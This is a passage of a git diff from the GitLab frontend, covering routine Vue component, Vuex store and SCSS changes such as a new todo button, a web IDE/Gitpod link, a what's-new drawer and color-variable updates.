@@ -248,10 +252,10 @@ export default {
:allow-label-edit="allowLabelEdit"
:labels-select-in-progress="labelsSelectInProgress"
/>
- <dropdown-value v-show="!showDropdownButton">
+ <dropdown-value>
<slot></slot>
</dropdown-value>
- <dropdown-button v-show="dropdownButtonVisible" />
+ <dropdown-button v-show="dropdownButtonVisible" class="gl-mt-2" />
<dropdown-contents
v-if="dropdownButtonVisible && showDropdownContents"
ref="dropdownContents"
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/actions.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/actions.js
index e624bd1eaee..2d236566b3d 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/actions.js
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/actions.js
@@ -54,5 +54,8 @@ export const createLabel = ({ state, dispatch }, label) => {
});
};
+export const replaceSelectedLabels = ({ commit }, selectedLabels) =>
+ commit(types.REPLACE_SELECTED_LABELS, selectedLabels);
+
export const updateSelectedLabels = ({ commit }, labels) =>
commit(types.UPDATE_SELECTED_LABELS, { labels });
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutation_types.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutation_types.js
index 2e044dc3b3c..af92665d4eb 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutation_types.js
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutation_types.js
@@ -15,6 +15,7 @@ export const RECEIVE_CREATE_LABEL_FAILURE = 'RECEIVE_CREATE_LABEL_FAILURE';
export const TOGGLE_DROPDOWN_BUTTON = 'TOGGLE_DROPDOWN_VISIBILITY';
export const TOGGLE_DROPDOWN_CONTENTS = 'TOGGLE_DROPDOWN_CONTENTS';
+export const REPLACE_SELECTED_LABELS = 'REPLACE_SELECTED_LABELS';
export const UPDATE_SELECTED_LABELS = 'UPDATE_SELECTED_LABELS';
export const TOGGLE_DROPDOWN_CONTENTS_CREATE_VIEW = 'TOGGLE_DROPDOWN_CONTENTS_CREATE_VIEW';
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutations.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutations.js
index 54f8c78b4e1..7edd290a819 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutations.js
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutations.js
@@ -57,6 +57,10 @@ export default {
state.labelCreateInProgress = false;
},
+ [types.REPLACE_SELECTED_LABELS](state, selectedLabels = []) {
+ state.selectedLabels = selectedLabels;
+ },
+
[types.UPDATE_SELECTED_LABELS](state, { labels }) {
// Find the label to update from all the labels
// and change `set` prop value to represent their current state.
diff --git a/app/assets/javascripts/vue_shared/components/timezone_dropdown.vue b/app/assets/javascripts/vue_shared/components/timezone_dropdown.vue
index 148bd501a8e..135b9842cbf 100644
--- a/app/assets/javascripts/vue_shared/components/timezone_dropdown.vue
+++ b/app/assets/javascripts/vue_shared/components/timezone_dropdown.vue
@@ -1,12 +1,12 @@
<script>
-import { GlNewDropdown, GlDeprecatedDropdownItem, GlSearchBoxByType, GlIcon } from '@gitlab/ui';
+import { GlDropdown, GlDeprecatedDropdownItem, GlSearchBoxByType, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
import autofocusonshow from '~/vue_shared/directives/autofocusonshow';
export default {
name: 'TimezoneDropdown',
components: {
- GlNewDropdown,
+ GlDropdown,
GlDeprecatedDropdownItem,
GlSearchBoxByType,
GlIcon,
@@ -74,7 +74,7 @@ export default {
};
</script>
<template>
- <gl-new-dropdown :text="value" block lazy menu-class="gl-w-full!">
+ <gl-dropdown :text="value" block lazy menu-class="gl-w-full!">
<template #button-content>
<span class="gl-flex-grow-1" :class="{ 'gl-text-gray-300': !value }">
{{ selectedTimezoneLabel }}
@@ -98,5 +98,5 @@ export default {
<gl-deprecated-dropdown-item v-if="!filteredResults.length" data-testid="noMatchingResults">
{{ $options.tranlations.noResultsText }}
</gl-deprecated-dropdown-item>
- </gl-new-dropdown>
+ </gl-dropdown>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/todo_button.vue b/app/assets/javascripts/vue_shared/components/todo_button.vue
new file mode 100644
index 00000000000..debf19ccca6
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/todo_button.vue
@@ -0,0 +1,28 @@
+<script>
+import { GlButton } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export default {
+ components: {
+ GlButton,
+ },
+ props: {
+ isTodo: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ },
+ computed: {
+ buttonLabel() {
+ return this.isTodo ? __('Mark as done') : __('Add a To-Do');
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-button v-bind="$attrs" :aria-label="buttonLabel" @click="$emit('click', $event)">
+ {{ buttonLabel }}
+ </gl-button>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/toggle_button.vue b/app/assets/javascripts/vue_shared/components/toggle_button.vue
index 540edc9f61c..29d4516bece 100644
--- a/app/assets/javascripts/vue_shared/components/toggle_button.vue
+++ b/app/assets/javascripts/vue_shared/components/toggle_button.vue
@@ -73,7 +73,7 @@ export default {
'is-disabled': disabledInput,
'is-loading': isLoading,
}"
- @click="toggleFeature"
+ @click.prevent="toggleFeature"
>
<gl-loading-icon class="loading-icon" />
<span class="toggle-icon">
diff --git a/app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue b/app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue
index 4ea3d162da2..579ad53e6db 100644
--- a/app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue
+++ b/app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue
@@ -61,9 +61,9 @@ export default {
v-tooltip
:title="title"
:data-placement="placement"
- class="js-show-tooltip"
+ class="js-show-tooltip gl-min-w-0"
>
<slot></slot>
</span>
- <span v-else> <slot></slot> </span>
+ <span v-else class="gl-min-w-0"> <slot></slot> </span>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/url_sync.vue b/app/assets/javascripts/vue_shared/components/url_sync.vue
index 389d42f0829..2844d9e9e94 100644
--- a/app/assets/javascripts/vue_shared/components/url_sync.vue
+++ b/app/assets/javascripts/vue_shared/components/url_sync.vue
@@ -1,6 +1,6 @@
<script>
import { historyPushState } from '~/lib/utils/common_utils';
-import { setUrlParams } from '~/lib/utils/url_utility';
+import { mergeUrlParams } from '~/lib/utils/url_utility';
export default {
props: {
@@ -14,7 +14,7 @@ export default {
immediate: true,
deep: true,
handler(newQuery) {
- historyPushState(setUrlParams(newQuery, window.location.href, true));
+ historyPushState(mergeUrlParams(newQuery, window.location.href, { spreadArrays: true }));
},
},
},
diff --git a/app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue b/app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue
index 699e466e848..6aaff000845 100644
--- a/app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue
+++ b/app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue
@@ -1,6 +1,6 @@
<script>
-import { GlPopover, GlSkeletonLoading } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+/* eslint-disable vue/no-v-html */
+import { GlPopover, GlDeprecatedSkeletonLoading as GlSkeletonLoading, GlIcon } from '@gitlab/ui';
import UserAvatarImage from '../user_avatar/user_avatar_image.vue';
import { glEmojiTag } from '../../../emoji';
@@ -10,7 +10,7 @@ export default {
name: 'UserPopover',
maxSkeletonLines: MAX_SKELETON_LINES,
components: {
- Icon,
+ GlIcon,
GlPopover,
GlSkeletonLoading,
UserAvatarImage,
@@ -74,16 +74,16 @@ export default {
</div>
<div class="gl-text-gray-500">
<div v-if="user.bio" class="gl-display-flex gl-mb-2">
- <icon name="profile" class="gl-text-gray-400 gl-flex-shrink-0" />
+ <gl-icon name="profile" class="gl-text-gray-400 gl-flex-shrink-0" />
<span ref="bio" class="gl-ml-2" v-html="user.bioHtml"></span>
</div>
<div v-if="user.workInformation" class="gl-display-flex gl-mb-2">
- <icon name="work" class="gl-text-gray-400 gl-flex-shrink-0" />
+ <gl-icon name="work" class="gl-text-gray-400 gl-flex-shrink-0" />
<span ref="workInformation" class="gl-ml-2">{{ user.workInformation }}</span>
</div>
</div>
<div v-if="user.location" class="js-location gl-text-gray-500 gl-display-flex">
- <icon name="location" class="gl-text-gray-400 flex-shrink-0" />
+ <gl-icon name="location" class="gl-text-gray-400 flex-shrink-0" />
<span class="gl-ml-2">{{ user.location }}</span>
</div>
<div v-if="statusHtml" class="js-user-status gl-mt-3">
diff --git a/app/assets/javascripts/vue_shared/components/web_ide_link.vue b/app/assets/javascripts/vue_shared/components/web_ide_link.vue
new file mode 100644
index 00000000000..8307c6d3b55
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/web_ide_link.vue
@@ -0,0 +1,118 @@
+<script>
+import $ from 'jquery';
+import { __ } from '~/locale';
+import LocalStorageSync from '~/vue_shared/components/local_storage_sync.vue';
+import ActionsButton from '~/vue_shared/components/actions_button.vue';
+
+const KEY_WEB_IDE = 'webide';
+const KEY_GITPOD = 'gitpod';
+
+export default {
+ components: {
+ ActionsButton,
+ LocalStorageSync,
+ },
+ props: {
+ webIdeUrl: {
+ type: String,
+ required: true,
+ },
+ needsToFork: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ showWebIdeButton: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ showGitpodButton: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ gitpodUrl: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ gitpodEnabled: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ return {
+ selection: KEY_WEB_IDE,
+ };
+ },
+ computed: {
+ actions() {
+ return [this.webIdeAction, this.gitpodAction].filter(x => x);
+ },
+ webIdeAction() {
+ if (!this.showWebIdeButton) {
+ return null;
+ }
+
+ const handleOptions = this.needsToFork
+ ? { href: '#modal-confirm-fork', handle: () => this.showModal('#modal-confirm-fork') }
+ : { href: this.webIdeUrl };
+
+ return {
+ key: KEY_WEB_IDE,
+ text: __('Web IDE'),
+ secondaryText: __('Quickly and easily edit multiple files in your project.'),
+ tooltip: '',
+ attrs: {
+ 'data-qa-selector': 'web_ide_button',
+ },
+ ...handleOptions,
+ };
+ },
+ gitpodAction() {
+ if (!this.showGitpodButton) {
+ return null;
+ }
+
+ const handleOptions = this.gitpodEnabled
+ ? { href: this.gitpodUrl }
+ : { href: '#modal-enable-gitpod', handle: () => this.showModal('#modal-enable-gitpod') };
+
+ const secondaryText = __('Launch a ready-to-code development environment for your project.');
+
+ return {
+ key: KEY_GITPOD,
+ text: __('Gitpod'),
+ secondaryText,
+ tooltip: secondaryText,
+ attrs: {
+ 'data-qa-selector': 'gitpod_button',
+ },
+ ...handleOptions,
+ };
+ },
+ },
+ methods: {
+ select(key) {
+ this.selection = key;
+ },
+ showModal(id) {
+ $(id).modal('show');
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <actions-button :actions="actions" :selected-key="selection" @select="select" />
+ <local-storage-sync
+ storage-key="gl-web-ide-button-selected"
+ :value="selection"
+ @input="select"
+ />
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/mixins/related_issuable_mixin.js b/app/assets/javascripts/vue_shared/mixins/related_issuable_mixin.js
index c628a67f7f5..be5f55a5220 100644
--- a/app/assets/javascripts/vue_shared/mixins/related_issuable_mixin.js
+++ b/app/assets/javascripts/vue_shared/mixins/related_issuable_mixin.js
@@ -2,7 +2,6 @@ import { isEmpty } from 'lodash';
import { sprintf, __ } from '~/locale';
import { formatDate } from '~/lib/utils/datetime_utility';
import tooltip from '~/vue_shared/directives/tooltip';
-import icon from '~/vue_shared/components/icon.vue';
import timeagoMixin from '~/vue_shared/mixins/timeago';
const mixins = {
@@ -100,9 +99,6 @@ const mixins = {
default: () => ({}),
},
},
- components: {
- icon,
- },
directives: {
tooltip,
},
diff --git a/app/assets/javascripts/vuex_shared/bindings.js b/app/assets/javascripts/vuex_shared/bindings.js
index edc31cfa69e..cc18b41e2de 100644
--- a/app/assets/javascripts/vuex_shared/bindings.js
+++ b/app/assets/javascripts/vuex_shared/bindings.js
@@ -9,7 +9,6 @@
* @param {string} root - the key of the state where to search fo they keys described in list
* @returns {Object} a dictionary with all the computed properties generated
*/
-// eslint-disable-next-line import/prefer-default-export
export const mapComputed = (list, defaultUpdateFn, root) => {
const result = {};
list.forEach(item => {
diff --git a/app/assets/javascripts/vuex_shared/modules/members/index.js b/app/assets/javascripts/vuex_shared/modules/members/index.js
new file mode 100644
index 00000000000..ec6a94178f3
--- /dev/null
+++ b/app/assets/javascripts/vuex_shared/modules/members/index.js
@@ -0,0 +1,6 @@
+import createState from './state';
+
+export default initialState => ({
+ namespaced: true,
+ state: createState(initialState),
+});
diff --git a/app/assets/javascripts/vuex_shared/modules/members/state.js b/app/assets/javascripts/vuex_shared/modules/members/state.js
new file mode 100644
index 00000000000..1511961245c
--- /dev/null
+++ b/app/assets/javascripts/vuex_shared/modules/members/state.js
@@ -0,0 +1,5 @@
+export default ({ members, sourceId, currentUserId }) => ({
+ members,
+ sourceId,
+ currentUserId,
+});
diff --git a/app/assets/javascripts/whats_new/components/app.vue b/app/assets/javascripts/whats_new/components/app.vue
index d974556cb9e..a00661c214d 100644
--- a/app/assets/javascripts/whats_new/components/app.vue
+++ b/app/assets/javascripts/whats_new/components/app.vue
@@ -1,16 +1,40 @@
<script>
import { mapState, mapActions } from 'vuex';
-import { GlDrawer } from '@gitlab/ui';
+import { GlDrawer, GlBadge, GlIcon, GlLink } from '@gitlab/ui';
export default {
components: {
GlDrawer,
+ GlBadge,
+ GlIcon,
+ GlLink,
+ },
+ props: {
+ features: {
+ type: String,
+ required: false,
+ default: null,
+ },
},
computed: {
...mapState(['open']),
+ parsedFeatures() {
+ let features;
+
+ try {
+ features = JSON.parse(this.$props.features) || [];
+ } catch (err) {
+ features = [];
+ }
+
+ return features;
+ },
+ },
+ mounted() {
+ this.openDrawer();
},
methods: {
- ...mapActions(['closeDrawer']),
+ ...mapActions(['openDrawer', 'closeDrawer']),
},
};
</script>
@@ -19,11 +43,31 @@ export default {
<div>
<gl-drawer class="mt-6" :open="open" @close="closeDrawer">
<template #header>
- <h4>{{ __("What's new at GitLab") }}</h4>
- </template>
- <template>
- <div></div>
+ <h4 class="page-title my-2">{{ __("What's new at GitLab") }}</h4>
</template>
+ <div class="pb-6">
+ <div v-for="feature in parsedFeatures" :key="feature.title" class="mb-6">
+ <gl-link :href="feature.url" target="_blank">
+ <h5 class="gl-font-base">{{ feature.title }}</h5>
+ </gl-link>
+ <div class="mb-2">
+ <template v-for="package_name in feature.packages">
+ <gl-badge :key="package_name" size="sm" class="whats-new-item-badge mr-1">
+ <gl-icon name="license" />{{ package_name }}
+ </gl-badge>
+ </template>
+ </div>
+ <gl-link :href="feature.url" target="_blank">
+ <img
+ :alt="feature.title"
+ :src="feature.image_url"
+ class="img-thumbnail px-6 py-2 whats-new-item-image"
+ />
+ </gl-link>
+ <p class="pt-2">{{ feature.body }}</p>
+ <gl-link :href="feature.url" target="_blank">{{ __('Learn more') }}</gl-link>
+ </div>
+ </div>
</gl-drawer>
</div>
</template>
diff --git a/app/assets/javascripts/whats_new/components/trigger.vue b/app/assets/javascripts/whats_new/components/trigger.vue
deleted file mode 100644
index e6c48e92888..00000000000
--- a/app/assets/javascripts/whats_new/components/trigger.vue
+++ /dev/null
@@ -1,19 +0,0 @@
-<script>
-import { mapActions } from 'vuex';
-import { GlButton } from '@gitlab/ui';
-
-export default {
- components: {
- GlButton,
- },
- methods: {
- ...mapActions(['openDrawer']),
- },
-};
-</script>
-
-<template>
- <li>
- <gl-button variant="link" @click="openDrawer">{{ __("See what's new at GitLab") }}</gl-button>
- </li>
-</template>
diff --git a/app/assets/javascripts/whats_new/index.js b/app/assets/javascripts/whats_new/index.js
index c9ee3404d2a..19cdb590ae2 100644
--- a/app/assets/javascripts/whats_new/index.js
+++ b/app/assets/javascripts/whats_new/index.js
@@ -1,32 +1,28 @@
import Vue from 'vue';
import App from './components/app.vue';
-import Trigger from './components/trigger.vue';
import store from './store';
-export default () => {
- // eslint-disable-next-line no-new
- new Vue({
- el: document.getElementById('whats-new-app'),
- store,
- components: {
- App,
- },
-
- render(createElement) {
- return createElement('app');
- },
- });
+let whatsNewApp;
- // eslint-disable-next-line no-new
- new Vue({
- el: document.getElementById('whats-new-trigger'),
- store,
- components: {
- Trigger,
- },
+export default () => {
+ if (whatsNewApp) {
+ store.dispatch('openDrawer');
+ } else {
+ const whatsNewElm = document.getElementById('whats-new-app');
- render(createElement) {
- return createElement('trigger');
- },
- });
+ whatsNewApp = new Vue({
+ el: whatsNewElm,
+ store,
+ components: {
+ App,
+ },
+ render(createElement) {
+ return createElement('app', {
+ props: {
+ features: whatsNewElm.getAttribute('data-features'),
+ },
+ });
+ },
+ });
+ }
};
diff --git a/app/assets/stylesheets/_page_specific_files.scss b/app/assets/stylesheets/_page_specific_files.scss
new file mode 100644
index 00000000000..f706b615e7e
--- /dev/null
+++ b/app/assets/stylesheets/_page_specific_files.scss
@@ -0,0 +1,65 @@
+@import './pages/admin';
+@import './pages/alert_management/details';
+@import './pages/alert_management/severity-icons';
+@import './pages/boards';
+@import './pages/branches';
+@import './pages/builds';
+@import './pages/ci_projects';
+@import './pages/clusters';
+@import './pages/commits';
+@import './pages/cycle_analytics';
+@import './pages/deploy_keys';
+@import './pages/detail_page';
+@import './pages/dev_ops_report';
+@import './pages/diff';
+@import './pages/editor';
+@import './pages/environment_logs';
+@import './pages/environments';
+@import './pages/error_details';
+@import './pages/error_list';
+@import './pages/error_tracking_list';
+@import './pages/events';
+@import './pages/experience_level';
+@import './pages/experimental_separate_sign_up';
+@import './pages/graph';
+@import './pages/groups';
+@import './pages/help';
+@import './pages/import';
+@import './pages/incident_management_list';
+@import './pages/issuable';
+@import './pages/issues/issue_count_badge';
+@import './pages/issues/issues_list';
+@import './pages/issues';
+@import './pages/labels';
+@import './pages/login';
+@import './pages/members';
+@import './pages/merge_conflicts';
+@import './pages/merge_requests';
+@import './pages/milestone';
+@import './pages/monitor';
+@import './pages/note_form';
+@import './pages/notes';
+@import './pages/notifications';
+@import './pages/pages';
+@import './pages/pipeline_schedules';
+@import './pages/pipelines';
+@import './pages/profile';
+@import './pages/profiles/preferences';
+@import './pages/projects';
+@import './pages/prometheus';
+@import './pages/reports';
+@import './pages/runners';
+@import './pages/search';
+@import './pages/serverless';
+@import './pages/service_desk';
+@import './pages/settings';
+@import './pages/settings_ci_cd';
+@import './pages/sherlock';
+@import './pages/status';
+@import './pages/storage_quota';
+@import './pages/tags';
+@import './pages/tree';
+@import './pages/trials';
+@import './pages/ui_dev_kit';
+@import './pages/users';
+@import './pages/wiki';
diff --git a/app/assets/stylesheets/application.scss b/app/assets/stylesheets/application.scss
index f5393ef47d6..8acd338fff8 100644
--- a/app/assets/stylesheets/application.scss
+++ b/app/assets/stylesheets/application.scss
@@ -13,7 +13,7 @@
// directory.
@import '@gitlab/at.js/dist/css/jquery.atwho';
@import 'dropzone/dist/basic';
-@import 'select2/select2';
+@import 'select2';
// GitLab UI framework
@import 'framework';
@@ -22,7 +22,7 @@
@import 'fontawesome_custom';
// Page specific styles (issues, projects etc):
-@import 'pages/**/*';
+@import 'page_specific_files';
// Component specific styles, will be moved to gitlab-ui
@import 'components/**/*';
diff --git a/app/assets/stylesheets/components/batch_comments/review_bar.scss b/app/assets/stylesheets/components/batch_comments/review_bar.scss
new file mode 100644
index 00000000000..76bf7ac81e8
--- /dev/null
+++ b/app/assets/stylesheets/components/batch_comments/review_bar.scss
@@ -0,0 +1,122 @@
+.review-bar-component {
+ position: fixed;
+ bottom: 0;
+ left: 0;
+ width: 100%;
+ background: $white;
+ z-index: 300;
+ padding: 7px 0 6px; // to keep aligned with "collapse sidebar" button on the left sidebar
+ border-top: 1px solid $border-color;
+ padding-left: $contextual-sidebar-width;
+ padding-right: $gutter_collapsed_width;
+ transition: padding $sidebar-transition-duration;
+
+ .page-with-icon-sidebar & {
+ padding-left: $contextual-sidebar-collapsed-width;
+ }
+
+ .right-sidebar-expanded & {
+ padding-right: $gutter_width;
+ }
+
+ @media (max-width: map-get($grid-breakpoints, sm)-1) {
+ padding-left: 0;
+ padding-right: 0;
+ }
+
+ .dropdown {
+ margin-left: $grid-size;
+ }
+}
+
+.review-bar-content {
+ max-width: $limited-layout-width;
+ padding: 0 $gl-padding;
+ width: 100%;
+ margin: 0 auto;
+}
+
+.review-preview-dropdown {
+ .review-preview-item.menu-item {
+ display: flex;
+ flex-wrap: wrap;
+ padding: 8px 16px;
+ cursor: pointer;
+
+ &:not(.is-last) {
+ border-bottom: 1px solid $list-border;
+ }
+ }
+
+ .dropdown-menu {
+ top: auto;
+ bottom: 36px;
+
+ &.show {
+ max-height: 400px;
+
+ @include media-breakpoint-down(xs) {
+ width: calc(100vw - 32px);
+ }
+ }
+ }
+
+ .dropdown-content {
+ max-height: 300px;
+ }
+
+ .dropdown-title {
+ padding: $grid-size 25px $gl-padding;
+ margin-bottom: 0;
+ }
+
+ .dropdown-footer {
+ margin-top: 0;
+ }
+
+ .dropdown-menu-close {
+ top: 6px;
+ }
+}
+
+.review-preview-dropdown-toggle {
+ svg.s16 {
+ width: 15px;
+ height: 15px;
+ margin-top: -1px;
+ top: 3px;
+ margin-left: 4px;
+ }
+}
+
+.review-preview-item-header {
+ display: flex;
+ align-items: center;
+ width: 100%;
+ margin-bottom: 4px;
+
+ > .bold {
+ display: flex;
+ min-width: 0;
+ line-height: 16px;
+ }
+}
+
+.review-preview-item-footer {
+ display: flex;
+ align-items: center;
+ margin-top: 4px;
+}
+
+.review-preview-item-content {
+ width: 100%;
+
+ p {
+ display: block;
+ width: 100%;
+ overflow: hidden;
+ text-overflow: ellipsis;
+ white-space: nowrap;
+ margin-bottom: 0;
+ }
+}
diff --git a/app/assets/stylesheets/components/design_management/design.scss b/app/assets/stylesheets/components/design_management/design.scss
index 80421598966..21133316291 100644
--- a/app/assets/stylesheets/components/design_management/design.scss
+++ b/app/assets/stylesheets/components/design_management/design.scss
@@ -34,6 +34,10 @@
background-color: $gray-500;
}
}
+
+ .design-detail-overlay-add-comment {
+ cursor: crosshair;
+ }
}
.design-presentation-wrapper {
diff --git a/app/assets/stylesheets/components/related_items_list.scss b/app/assets/stylesheets/components/related_items_list.scss
index c0699844387..7c668666d70 100644
--- a/app/assets/stylesheets/components/related_items_list.scss
+++ b/app/assets/stylesheets/components/related_items_list.scss
@@ -48,7 +48,7 @@ $item-remove-button-space: 42px;
}
.confidential-icon {
- color: $orange-600;
+ color: $orange-500;
}
.item-title-wrapper {
@@ -123,21 +123,11 @@ $item-remove-button-space: 42px;
.item-milestone {
text-decoration: none;
max-width: $item-milestone-max-width;
-
- .ic-clock {
- margin-right: $gl-padding-4;
- }
}
.item-weight {
max-width: $item-weight-max-width;
}
-
- .item-milestone .ic-clock,
- .item-weight .ic-weight,
- .item-due-date .ic-calendar {
- color: $gl-text-color-secondary;
- }
}
.item-assignees {
diff --git a/app/assets/stylesheets/components/rich_content_editor.scss b/app/assets/stylesheets/components/rich_content_editor.scss
index ade1bb2099d..b1189137d59 100644
--- a/app/assets/stylesheets/components/rich_content_editor.scss
+++ b/app/assets/stylesheets/components/rich_content_editor.scss
@@ -6,7 +6,7 @@
// Toolbar buttons
.tui-editor-defaultUI-toolbar .toolbar-button {
- color: $gl-gray-600;
+ color: $gray-500;
border: 0;
&:hover,
diff --git a/app/assets/stylesheets/components/whats_new.scss b/app/assets/stylesheets/components/whats_new.scss
new file mode 100644
index 00000000000..4fff900f5a5
--- /dev/null
+++ b/app/assets/stylesheets/components/whats_new.scss
@@ -0,0 +1,9 @@
+.gl-badge.whats-new-item-badge {
+ background-color: $purple-light;
+ color: $purple;
+ font-weight: bold;
+}
+
+.whats-new-item-image {
+ border-color: $gray-50;
+}
diff --git a/app/assets/stylesheets/fontawesome_custom.scss b/app/assets/stylesheets/fontawesome_custom.scss
index a2117e9c012..30d56d99e1c 100644
--- a/app/assets/stylesheets/fontawesome_custom.scss
+++ b/app/assets/stylesheets/fontawesome_custom.scss
@@ -84,10 +84,6 @@
color: $white;
}
-.fa-question-circle::before {
- content: '\f059';
-}
-
.fa-chevron-down::before {
content: '\f078';
}
@@ -130,18 +126,10 @@
content: '\f101';
}
-.fa-trash::before {
- content: '\f1f8';
-}
-
.fa-angle-double-left::before {
content: '\f100';
}
-.fa-arrow-left::before {
- content: '\f060';
-}
-
.fa-trash-o::before {
content: '\f014';
}
@@ -170,14 +158,6 @@
content: '\f0c6';
}
-.fa-tag::before {
- content: '\f02b';
-}
-
-.fa-arrow-up::before {
- content: '\f062';
-}
-
.fa-bug::before {
content: '\f188';
}
@@ -186,10 +166,6 @@
content: '\f1a0';
}
-.fa-user::before {
- content: '\f007';
-}
-
.fa-exclamation-circle::before {
content: '\f06a';
}
@@ -198,10 +174,6 @@
content: '\f0f3';
}
-.fa-arrow-down::before {
- content: '\f063';
-}
-
.fa-bitbucket-square::before {
content: '\f172';
}
@@ -210,14 +182,6 @@
content: '\f016';
}
-.fa-users::before {
- content: '\f0c0';
-}
-
-.fa-tags::before {
- content: '\f02c';
-}
-
.fa-lightbulb-o::before {
content: '\f0eb';
}
@@ -250,10 +214,6 @@
content: '\f06d';
}
-.fa-download::before {
- content: '\f019';
-}
-
.fa-globe::before {
content: '\f0ac';
}
@@ -266,14 +226,6 @@
content: '\f04b';
}
-.fa-arrow-right::before {
- content: '\f061';
-}
-
-.fa-user-secret::before {
- content: '\f21b';
-}
-
.fa-search-plus::before {
content: '\f00e';
}
diff --git a/app/assets/stylesheets/framework.scss b/app/assets/stylesheets/framework.scss
index 413e0dde535..f875420b9c9 100644
--- a/app/assets/stylesheets/framework.scss
+++ b/app/assets/stylesheets/framework.scss
@@ -23,7 +23,6 @@
@import 'framework/flash';
@import 'framework/forms';
@import 'framework/gfm';
-@import 'framework/gitlab_theme';
@import 'framework/header';
@import 'framework/highlight';
@import 'framework/issue_box';
diff --git a/app/assets/stylesheets/framework/buttons.scss b/app/assets/stylesheets/framework/buttons.scss
index 893a494d240..a9c1652d00d 100644
--- a/app/assets/stylesheets/framework/buttons.scss
+++ b/app/assets/stylesheets/framework/buttons.scss
@@ -112,7 +112,7 @@
}
@mixin btn-orange {
- @include btn-color($orange-500, $orange-600, $orange-600, $orange-700, $orange-700, $orange-800, $white);
+ @include btn-color($orange-500, $orange-600, $orange-500, $orange-600, $orange-600, $orange-800, $white);
}
@mixin btn-red {
@@ -182,7 +182,7 @@
}
&.btn-warning {
- @include btn-outline($white, $orange-500, $orange-500, $orange-100, $orange-700, $orange-500, $orange-200, $orange-600, $orange-800);
+ @include btn-outline($white, $orange-500, $orange-500, $orange-50, $orange-600, $orange-600, $orange-100, $orange-700, $orange-700);
}
&.btn-primary,
@@ -202,7 +202,7 @@
&.btn-close,
&.btn-close-color {
- @include btn-outline($white, $orange-600, $orange-500, $orange-100, $orange-700, $orange-500, $orange-200, $orange-600, $orange-800);
+ @include btn-outline($white, $orange-500, $orange-500, $orange-50, $orange-600, $orange-600, $orange-100, $orange-700, $orange-700);
}
&.btn-spam {
@@ -229,7 +229,7 @@
}
&.btn-icon {
- color: $gl-gray-700;
+ color: $gray-700;
}
.fa-caret-down,
@@ -394,7 +394,7 @@
}
.clone-dropdown-btn a {
- color: $gl-gray-700;
+ color: $gray-700;
&:hover {
text-decoration: none;
@@ -542,3 +542,13 @@ fieldset[disabled] .btn,
.btn-no-padding {
padding: 0;
}
+
+// This class helps convert `.gl-button` children so that they consistently
+// match the style of `.btn` elements which might be around them. Ideally we
+// wouldn't need this class.
+//
+// Remove by upgrading all buttons in a container to use the new `.gl-button` style.
+.gl-button-deprecated-adapter .gl-button {
+ box-shadow: none;
+ border-width: 1px;
+}
diff --git a/app/assets/stylesheets/framework/callout.scss b/app/assets/stylesheets/framework/callout.scss
index c5bb2a1256a..d0d2328ea98 100644
--- a/app/assets/stylesheets/framework/callout.scss
+++ b/app/assets/stylesheets/framework/callout.scss
@@ -37,12 +37,12 @@
}
.bs-callout-warning {
- background-color: $orange-100;
+ background-color: $orange-50;
border-color: $orange-200;
- color: $orange-900;
+ color: $gray-900;
a {
- color: $orange-900;
+ color: $blue-600;
}
}
diff --git a/app/assets/stylesheets/framework/common.scss b/app/assets/stylesheets/framework/common.scss
index 00679cf20fa..714ef8b2175 100644
--- a/app/assets/stylesheets/framework/common.scss
+++ b/app/assets/stylesheets/framework/common.scss
@@ -74,7 +74,7 @@
.hint {
font-style: italic;
- color: $gl-gray-200;
+ color: $gray-200;
}
.light { color: $gl-text-color; }
@@ -162,13 +162,13 @@ table {
.loading {
margin: 20px auto;
height: 40px;
- color: $gl-gray-700;
+ color: $gray-700;
font-size: 32px;
text-align: center;
}
p.time {
- color: $gl-gray-200;
+ color: $gray-200;
font-size: 90%;
margin: 30px 3px 3px 2px;
}
@@ -237,7 +237,7 @@ li.note {
}
.warning_message {
- @include message($orange-100, $orange-200, $orange-800);
+ @include message($orange-50, $orange-200, $gray-900);
}
.danger_message {
@@ -246,7 +246,7 @@ li.note {
.gitlab-promo {
a {
- color: $gl-gray-350;
+ color: $gray-300;
margin-right: 30px;
}
}
@@ -416,7 +416,6 @@ img.emoji {
.flex-no-shrink { flex-shrink: 0; }
.ws-initial { white-space: initial; }
.ws-normal { white-space: normal; }
-.ws-pre-wrap { white-space: pre-wrap; }
.overflow-auto { overflow: auto; }
